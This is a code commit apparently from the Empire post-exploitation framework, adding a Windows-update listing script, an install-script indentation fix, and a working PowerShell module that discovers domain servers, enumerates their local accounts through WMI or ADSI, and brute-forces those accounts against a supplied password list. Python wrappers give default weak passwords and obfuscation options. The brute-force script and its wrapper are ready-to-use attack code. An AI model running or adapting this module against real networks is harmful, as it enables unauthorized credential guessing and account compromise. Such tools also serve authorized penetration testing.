Fixed conflict

fix-for-1142
xorrior 2018-04-21 09:15:08 -04:00
commit 119aa873b8
5 changed files with 505 additions and 10 deletions

View File

@ -0,0 +1,62 @@
Function Get-WinUpdates
{
<#
.SYNOPSIS
Get-WinUpdates gets a list of Windows and Microsoft Updates installed on the computer.
.DESCRIPTION
Get-WinUpdates gets a list of Windows and Microsoft Updates installed on the computer. Requires administrative level access.
.PARAMETER ComputerName
A description of the ComputerName parameter.
.EXAMPLE
Get-WinUpdates -ComputerName "localhost"
.EXAMPLE
Get-Content computers.txt | Get-WinUpdates | Format-Table PC,Date,Operation,Status,Title,KB,PC -Wrap -auto
.NOTES
Get-WinUpdates gets a list of Windows and Microsoft Updates installed on the computer.
Based on Get-InstalledUpdates https://github.com/Kreloc
M.Hartsuijker - Classity - Modified to include pending updates
#>
[CmdletBinding()]
Param (
[Parameter(position=0,Mandatory = $False,ValueFromPipeline =
$true,ValueFromPipelinebyPropertyName=$true)][Alias('Name')]
$ComputerName = $env:computername
)
Begin
{
function Test-ElevatedShell
{
$user = [Security.Principal.WindowsIdentity]::GetCurrent()
(New-Object Security.Principal.WindowsPrincipal $user).IsInRole([Security.Principal.WindowsBuiltinRole]::Administrator)
}
$admin = Test-ElevatedShell
}
PROCESS
{
If($admin)
{
[System.Reflection.Assembly]::LoadWithPartialName('Microsoft.Update.Session') | Out-Null
$Session = [activator]::CreateInstance([type]::GetTypeFromProgID("Microsoft.Update.Session",$ComputerName))
$Searcher = $Session.CreateUpdateSearcher()
$historyCount = $Searcher.GetTotalHistoryCount()
$Searcher.QueryHistory(0, $historyCount) | Select-Object Date,
@{name="Operation"; expression={switch($_.operation){
1 {"Installation"}; 2 {"Uninstallation"}; 3 {"Other"}}}},
@{name="Status"; expression={switch($_.resultcode){
0 {"Not started"}; 1 {"In Progress"}; 2 {"Succeeded"}; 3 {"Succeeded With Errors"};
4 {"Failed"}; 5 {"Aborted"}
}}}, Title,@{name="KB"; expression={($_.title -split "(KB*.*)")[1]}},@{name="PC";expression={$ComputerName}}
$Updates = @($Searcher.Search("IsHidden=0 and IsInstalled=0").Updates)
$Updates | Select-Object @{name="Date";expression={"Blank"}},@{name="Operation";expression={"Other"}},@{name="Status";expression={"Pending"}},Title,@{name="PC";expression={$ComputerName}}
}
else
{
"Please re-load this function in a Run as Administrator PowerShell console."
}
}
}

View File

@ -0,0 +1,182 @@
#requires -Version 2.0
<#
.SYNOPSIS
Query for and brute force users on local (member) servers.
.DESCRIPTION
Use this script to query the local users of a member server (using known credentials, such as domain credentials) and to brute force the accounts using your own password list.
.EXAMPLE
C:\PS> C:\temp\Get-and-Brute-LocalAccount.ps1
.NOTES
Author : Maarten Hartsuijker - @classityinfosec
#>
function Fetch-Brute
{
Param
(
[Parameter(Position=0,Mandatory=$false)]
[ValidateNotNullorEmpty()]
[Alias('cn')][String[]]$ComputerName=$Env:COMPUTERNAME,
[Parameter(Position=1,Mandatory=$false)]
[Alias('un')][String[]]$AccountName,
[Parameter(Position=2,Mandatory=$false)]
[Alias('vbose')][String[]]$vbse,
[Parameter(Position=3,Mandatory=$false)]
[Alias('lacc')][String]$loginacc,
[Parameter(Position=4,Mandatory=$false)]
[Alias('lpass')][String]$loginpass,
[Parameter(Position=5,Mandatory=$false)]
[Alias('pl')][string[]]$passlist,
[Parameter(Position=6,Mandatory=$false)]
[Alias('st')][String[]]$servertype
)
# Create login credentials if account and password have been specified
if ($loginacc -and $loginpass) {
$secpasswd = ConvertTo-SecureString $loginpass -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential ($loginacc, $secpasswd)
}
# defining some variables
if (!$servertype) { $objecttype="Window*Server*" } else { $objecttype=$servertype }
$foundpwd = 0
$verbose="$vbse"
# fetching servers in domain within the defined scope (server types)
$lijst = New-Object System.Collections.ArrayList
$objSearcher = New-Object System.DirectoryServices.DirectorySearcher
$objSearcher.Filter = "(OperatingSystem=$objecttype)"
"Name","canonicalname","distinguishedname" | Foreach-Object {$null = $objSearcher.PropertiesToLoad.Add($_) }
$hostlijst = $objSearcher.FindAll() | Select-Object @{n='Name';e={$_.properties['name']}} | select -expandproperty name -first 2
Write-Output "Discovered hosts: $hostlijst"
# Get the accounts with each server, using available credentials
foreach ($hostname in $hostlijst) {
if ($verbose) {Write-Output "Fetching accounts for: $hostname"}
$AllLocalAccounts="";
$accnaam = "";
$adsihit=0
$Obj = @()
# Query for local users using WMI (faster than ADSI)
If($Credential)
{
try
{
if ($verbose) {Write-Output "Try WMI using credentialed"}
$AllLocalAccounts = Get-WmiObject -Class Win32_UserAccount -Namespace "root\cimv2" `
-Filter "LocalAccount='$True'" -ComputerName $hostname -Credential $Credential -ErrorAction Stop
}
catch
{ if ($verbose) {Write-Output "WMI supplied credentialled error"} }
}
else
{
try
{
if ($verbose) {Write-Output "Try WMI using agent credentials"}
$AllLocalAccounts = Get-WmiObject -Class Win32_UserAccount -Namespace "root\cimv2" `
-Filter "LocalAccount='$True'" -ComputerName $hostname -ErrorAction SilentlyContinue
}
catch
{ if ($verbose) {Write-Output "WMI agent credentials error"} }
}
if ($AllLocalAccounts) { if ($verbose) {Write-Output "WMI accounts found: $AllLocalAccounts"} }
# sometimes, ADSI is available, where WMI isn't. ADSI will try using the user the empire agent is running as
if (!$AllLocalAccounts)
{
try
{
if ($verbose) {Write-Output "Retry using ADSI (agent credentials)"}
$adsihit = 1
$adsi = [ADSI]"WinNT://$hostname"
$AllLocalAccounts = $adsi.psbase.children | where {$_.psbase.schemaClassName -match "user"} | select @{n="Name";e={$_.name}} |Select-Object -ExpandProperty Name
if ($verbose) {$AllLocalAccounts}
}
catch
{ if ($verbose) {Write-Output "ADSI Error"} }
}
Foreach($LocalAccount in $AllLocalAccounts)
{
# Don't include disabled and locked accounts (todo when using ADSI)
if (($LocalAccount.Disabled -Match "False") -and ($LocalAccount.Lockout -Match "False") -and ($adsihit -Match 0))
{
$accnaam = $LocalAccount.Name
$lijst.add($hostname+":"+$accnaam)
}
Elseif ($adsihit -gt 0)
{
$accnaam = $LocalAccount
$noout = $lijst.add($hostname+":"+$accnaam)
}
Else
{ continue }
}
}
# Start Brute force
$hostcounter = $hostlijst.Count
$acccounter = $lijst.Count
Write-Output "Starting Brute Force for $hostcounter hosts and $acccounter accounts"
If($lijst)
{
Foreach($hit in $lijst)
{
$hname,$uname = $hit.split(':')
# Connect to machine
Add-Type -AssemblyName System.DirectoryServices.AccountManagement
$contextType = [System.DirectoryServices.AccountManagement.ContextType]::Machine
Try
{
$principalContext = New-Object System.DirectoryServices.AccountManagement.PrincipalContext($contextType, $hname)
$success = $true
}
Catch
{
$message = "Unable to contact Host"
$success = $false
}
# If connected... Try passwords from the array
if($success -ne $false)
{
foreach ($password in $passlist)
{
Try
{
Write-Verbose "Checking $uname : $password (then sleeping for 1 seconds)"
$success = $principalContext.ValidateCredentials($uname, $password)
$message = "Password Match"
if ($success -eq $true)
{
Write-Output "Match found! $uname : $password"
$foundpwd++
}
else
{
if ($verbose) { Write-Output "NO $hname - $uname : $password" }
}
}
Catch
{
$success = $false
$message = "Password doesn't match"
}
Start-Sleep -Seconds 0.1
}
}
else
{
if ($verbose) { Write $message }
}
}
}
Write-Output "Found $foundpwd valid credentials"
}

View File

@ -0,0 +1,109 @@
from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
# metadata info about the module, not modified during runtime
self.info = {
# name for the module that will appear in module menus
'Name': 'Get Microsoft Updates',
# list of one or more authors for the module
'Author': ['Maarten Hartsuijker','@classityinfosec'],
# more verbose multi-line description of the module
'Description': ('This module will list the Microsoft update history, including pending updates, of the machine'),
# True if the module needs to run in the background
'Background' : True,
# True if we're saving the output as a file
'SaveOutput' : False,
'OutputExtension' : None,
# True if the module needs admin rights to run
'NeedsAdmin' : True,
# True if the method doesn't touch disk/is reasonably opsec safe
'OpsecSafe' : True,
'Language' : 'powershell',
'MinLanguageVersion' : '2',
# list of any references/other comments
'Comments': [
'Have fun'
]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
# The 'Agent' option is the only one that MUST be in a module
'Description' : 'Agent to run the module on.',
'Required' : True,
'Value' : ''
},
'ComputerName' : {
# The 'ComputerName' option defaults to localhost but is adjustable
'Description' : 'The ComputerName this agents user has admin access to that must be queried for updates',
'Required' : True,
'Value' : 'localhost'
},
'OutFile' : {
'Description' : 'Path to Output File',
'Required' : False,
'Value' : ''
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
if params:
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self, obfuscate=False, obfuscationCommand=""):
computername = self.options['ComputerName']['Value']
print helpers.color("[+] Querying: " + str(computername))
# if you're reading in a large, external script that might be updates,
# use the pattern below
# read in the common module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/collection/Get-WinUpdates.ps1"
if obfuscate:
helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
moduleSource = moduleSource.replace("module_source", "obfuscated_module_source")
try:
f = open(moduleSource, 'r')
except:
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
return ""
moduleCode = f.read()
f.close()
script = moduleCode
scriptEnd = " Get-WinUpdates"
scriptEnd += " -ComputerName "+computername
if obfuscate:
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd
return script

View File

@ -0,0 +1,142 @@
from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
# metadata info about the module, not modified during runtime
self.info = {
# name for the module that will appear in module menus
'Name': 'Fetch local accounts on a member server and perform an online brute force attack',
# list of one or more authors for the module
'Author': ['Maarten Hartsuijker','@classityinfosec'],
# more verbose multi-line description of the module
'Description': ('This module will logon to a member server using the agents account or a provided account, fetch the local accounts and perform a network based brute force attack.'),
# True if the module needs to run in the background
'Background' : True,
# True if we're saving the output as a file
'SaveOutput' : False,
'OutputExtension' : None,
# True if the module needs admin rights to run
'NeedsAdmin' : False,
# True if the method doesn't touch disk/is reasonably opsec safe
'OpsecSafe' : True,
'Language' : 'powershell',
'MinLanguageVersion' : '2',
# list of any references/other comments
'Comments': [
'Inspired by Xfocus X-Scan. Recent Windows versions won\'t allow you to query userinfo using regular domain accounts, but on 2003/2008 member servers, the module might prove to be useful.'
]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
# The 'Agent' option is the only one that MUST be in a module
'Description' : 'Agent to run the module on.',
'Required' : True,
'Value' : ''
},
'Loginacc' : {
# The 'Loginacc' is used to logon with alternate credentials
'Description' : 'Allows you to query the servers using credentials other than the credentials the agent is running as',
'Required' : False,
'Value' : ''
},
'Loginpass' : {
# The 'Loginpass' comes with Loginacc
'Description' : 'The password that comes with Loginacc',
'Required' : False,
'Value' : ''
},
'ServerType' : {
# The 'ServerType' option allows you to narrow down the scope. It defaults to all windows servers
'Description' : 'Allows you to narrow down the scope. It defaults to all windows servers.',
'Required' : False,
'Value' : 'Window*Server*'
},
'Passlist' : {
# The 'Passlist' option allows you to specify the passwords you want to test
'Description' : 'Comma seperated password list that should be tested against each account found',
'Required' : True,
'Value' : 'Welcome123,Password01,Test123!,Welcome2018'
},
'Verbose' : {
# The 'Verbose' option returns more query results
'Description' : 'Want to see failed logon attempts? And found users? Set this to any value.',
'Required' : False,
'Value' : ''
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
if params:
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self, obfuscate=False, obfuscationCommand=""):
Passlist = self.options['Passlist']['Value']
Verbose = self.options['Verbose']['Value']
ServerType = self.options['ServerType']['Value']
Loginacc = self.options['Loginacc']['Value']
Loginpass = self.options['Loginpass']['Value']
print helpers.color("[+] Initiated using passwords: " + str(Passlist))
# if you're reading in a large, external script that might be updates,
# use the pattern below
# read in the common module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/recon/Fetch-And-Brute-Local-Accounts.ps1"
if obfuscate:
helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
moduleSource = moduleSource.replace("module_source", "obfuscated_module_source")
try:
f = open(moduleSource, 'r')
except:
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
return ""
moduleCode = f.read()
f.close()
script = moduleCode
scriptEnd = " Fetch-Brute"
if len(ServerType) >= 1:
scriptEnd += " -st "+ServerType
scriptEnd += " -pl "+Passlist
if len(Verbose) >= 1:
scriptEnd += " -vbse "+Verbose
if len(Loginacc) >= 1:
scriptEnd += " -lacc "+Loginacc
if len(Loginpass) >= 1:
scriptEnd += " -lpass "+Loginpass
if obfuscate:
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd
print helpers.color("[+] Command: " + str(scriptEnd))
return script

View File

@ -79,16 +79,16 @@ function install_powershell() {
#Kali Linux
if cat /etc/lsb-release | grep -i 'Kali'; then
# Install prerequisites
apt-get install -y curl gnupg apt-transport-https
# Import the public repository GPG keys
curl https://packages.microsoft.com/keys/microsoft.asc | sudo apt-key add -
# Register the Microsoft Product feed
sh -c 'echo "deb [arch=amd64] https://packages.microsoft.com/repos/microsoft-debian-stretch-prod stretch main" > /etc/apt/sources.list.d/microsoft.list'
# Update the list of products
apt-get update
# Install PowerShell
apt-get install -y powershell
fi
apt-get install -y curl gnupg apt-transport-https
# Import the public repository GPG keys
curl https://packages.microsoft.com/keys/microsoft.asc | sudo apt-key add -
# Register the Microsoft Product feed
sh -c 'echo "deb [arch=amd64] https://packages.microsoft.com/repos/microsoft-debian-stretch-prod stretch main" > /etc/apt/sources.list.d/microsoft.list'
# Update the list of products
apt-get update
# Install PowerShell
apt-get install -y powershell
fi
fi
if ls /opt/microsoft/powershell/*/DELETE_ME_TO_DISABLE_CONSOLEHOST_TELEMETRY; then
rm /opt/microsoft/powershell/*/DELETE_ME_TO_DISABLE_CONSOLEHOST_TELEMETRY